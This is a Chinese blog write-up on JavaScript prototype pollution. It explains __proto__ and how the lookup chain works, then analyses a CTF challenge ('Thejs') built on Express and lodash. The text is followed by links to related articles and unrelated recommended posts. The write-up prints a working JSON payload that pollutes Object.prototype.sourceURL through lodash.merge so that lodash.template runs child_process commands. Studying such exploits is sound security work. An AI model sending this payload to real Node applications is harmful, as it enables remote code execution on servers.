18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出writeup后也没有去分析,最近在先知看到niexinming师傅出的一道js的原型污染链攻击题目的wp才好似唤醒记忆般去学习了一下....
0x01:原型和继承
JavaScript是一门灵活的语言,基于原型实现继承,原型是Javascript的继承的基础。
它本身不提供一个 class实现。(在 ES2015/ES6 中引入了 class 关键字,但那只是语法糖,JavaScript 仍然是基于原型的)
在js中,如果我们需要定义一个类,通过定义一个构造函数的方式来进行定义。
比如:
function Test() {
this.test = "test"
}

遵循ECMAScript标准,someObject.[[Prototype]] 符号是用于指向 someObject 的原型。从 ECMAScript 6 开始,[[Prototype]] 可以通过 Object.getPrototypeOf()Object.setPrototypeOf() 访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性 __proto_
每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype,也就是

我们可以认为,原型prototype是类的一个属性,而这个属性中的值和方法被每一个由类实例出来的对象所共有,而我们可以通过实例对象test1.__proto__来访问Test类的原型,那么这样就出现了一个问题,假如我们可以控制实例对象的__proto__属性,则等于可以修改该类所有实例对象的__proto__属性。
0x02:原型链污染

我们来看这一段代码,原本test1实例对象中是没有b属性的,但在我给test2做了私有属性__proto__赋值以后(test2.__proto__指向Test的原型prototype),test1.b有值了
这是因为:对于对象test1,在调用test1.b的时候,实际上JavaScript引擎会进行如下操作:
1.在对象test1中寻找b
2.找不到,在test1.__proto__中寻找b(这里的test1.__proto__同样指向Test的原型prototype)
3.如果仍然找不到,则继续在test1.__proto__.__proto__中寻找b
4.依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null
那么在Javascript中,我们何时可以控制实例对象的__proto__来污染原型链呢,只要找到可以控制数组(对象)的键名的位置即可,比如
1.对象clone
2.对象merge
以merge举例,要使__proto__作为key被赋值,还需要一个条件为传递的参数需要是以json来做解析,否则__proto__会被当作原型而不是一个key,故也就无法成功污染
直接拿p师傅的代码举例:
直接赋值,污染原型链失败:
使用Json.parse,污染成功
0x03:Thejs分析
关键代码很少,关键部分主要是:
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options}) return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs') app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
} res.render('index', {
language: data.language,
category: data.category
})
})
而lodash.merge也就是触发原型链攻击的地方
先放p师傅的payload:
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
我们在data = lodash.merge(data, req.body)处下断点,单步结束后可以看到
类型为Object的data对象中的__proto__属性中已经存在sourceURL属性
为什么赋值一个sourceURL属性呢,该属性反应在lodash.template中
javascript中的代码执行可以通过eval和new Function, 这里的Funticon的sourceURL参数来源于
而options.sourceURL值原本是没有被赋值的,所以我们可以通过原型链污染给所有的Object对象插入一个sourceURL属性再拼接到new Function第二个参数中造成代码执行。
我们在前面说过使用merge原型链污染需要json方式取值,而express默认通过body-parser解析请求体,所以直接将请求包的Content-Type改成application/json即可。

初探JavaScript原型链污染的更多相关文章

  1. javascript 原型链污染

    原理①javascript中构造函数就相当于类,并且可以将其实例化 ②javascript的每一个函数都有一个prototype属性,用来指向该构造函数的原型同样的javascript的每一个实例对象 ...

  2. redpwnctf-web-blueprint-javascript 原型链污染学习总结

    前几天看了redpwn的一道web题,node.js的web,涉及知识点是javascript 原型链污染,以前没咋接触过js,并且这个洞貌似也比较新,因此记录一下学习过程 1.本机node.js环境 ...

  3. JavaScript原型链及其污染

    JavaScript原型链及其污染 一.什么是原型链? 1.JavaScript中,我们如果要define一个类,需要以define"构造函数"的方式来define: functi ...

  4. JavaScript学习总结(十七)——Javascript原型链的原理

    一.JavaScript原型链 ECMAScript中描述了原型链的概念,并将原型链作为实现继承的主要方法.其基本思想是利用原型让一个引用类型继承另一个引用类型的属性和方法.在JavaScript中, ...

  5. javascript原型链中 this 的指向

    为了弄清楚Javascript原型链中的this指向问题,我写了个代码来测试: var d = { d: 40 }; var a = { x: 10, calculate: function (z) ...

  6. 明白JavaScript原型链和JavaScrip继承

    原型链是JavaScript的基础性内容之一.其本质是JavaScript内部的设计逻辑. 首先看一组代码: <script type="text/javascript"&g ...

  7. Javascript 原型链资料收集

    Javascript 原型链资料收集 先收集,后理解. 理解JavaScript的原型链和继承 https://blog.oyanglul.us/javascript/understand-proto ...

  8. 资料--JavaScript原型链

    JavaScript原型链 原文出处:https://www.cnblogs.com/chengzp/p/prototype.html 目录 创建对象有几种方法 原型.构造函数.实例.原型链 inst ...

  9. JavaScript原型链:prototype与__proto__

    title: 'JavaScript原型链:prototype与__proto__' toc: false date: 2018-09-04 11:16:54 主要看了这一篇,讲解的很清晰,最主要的一 ...

随机推荐

  1. JavaScript——六

    magin和padding的区别:https://www.cnblogs.com/zxnn/p/8186225.html magin:兄弟之间的 padding:父子关系 body和网页边框左右距离上 ...

  2. typedef struct xxx xxx与struct xxx区别 && “->”和“.”访问结构体变量

    1. struct //是C中的结构体的关键词.如: stuct node{ int a;.....} a; node 相当于结构体的类型,关键是其实在C中stuct node 才相当于一个数据类型, ...

  3. linux 部署 .net core mvc

    1.本地编写一个mvc网站 代码编辑器:Visual studio 2017.2019.Visual Code 均可 1)搭建 略. (请自行搜索如何编辑mvc,或看文末参考链接) 2)配置 Prog ...

  4. LINUX - 通信

    为什么三次握手: 让服务端和客户端都知道,自己的收信能力和发信能力没有问题: 第一次:客户端发给服务端--服务端知道了,自己的收信能力和客户端的发信能力没有问题: 第二次:服务端回复客户端--客户端知 ...

  5. Sublime text 3 中 Package Control安装

    安装前 ctrl+shift+p  在命令板中输入PC,如下图表示没安装: 使用ctrl+~调出sublime软件的控制台命令窗口:粘贴运行 import urllib.request,os,hash ...

  6. u-boot 移植 --->2、在u-boot新增SOC和板子

    本次主要是要新增一个samsung的芯片到u-boot中,网上查阅资料发现s5pc1xx是与手上的S5PV210的友善的Tiny版子寄存器兼容的比较多,所以就准备以他为基础增加一个我的板子的支持到u- ...

  7. .NET & C# & ASP.NET

    .NET && C# && ASP.NET https://docs.microsoft.com/zh-cn/dotnet/ .NET Documentation We ...

  8. free online markdown editor

    free online markdown editor markdown https://blog.csdn.net/xgqfrms/article/details/50129317 In-brows ...

  9. queueMicrotask & microtask

    queueMicrotask & microtask microtask microtask queue Promise Mutation Observer API MutationObser ...

  10. components & slot

    components & slot vue https://github.com/vuejs/rfcs/blob/master/active-rfcs/0001-new-slot-syntax ...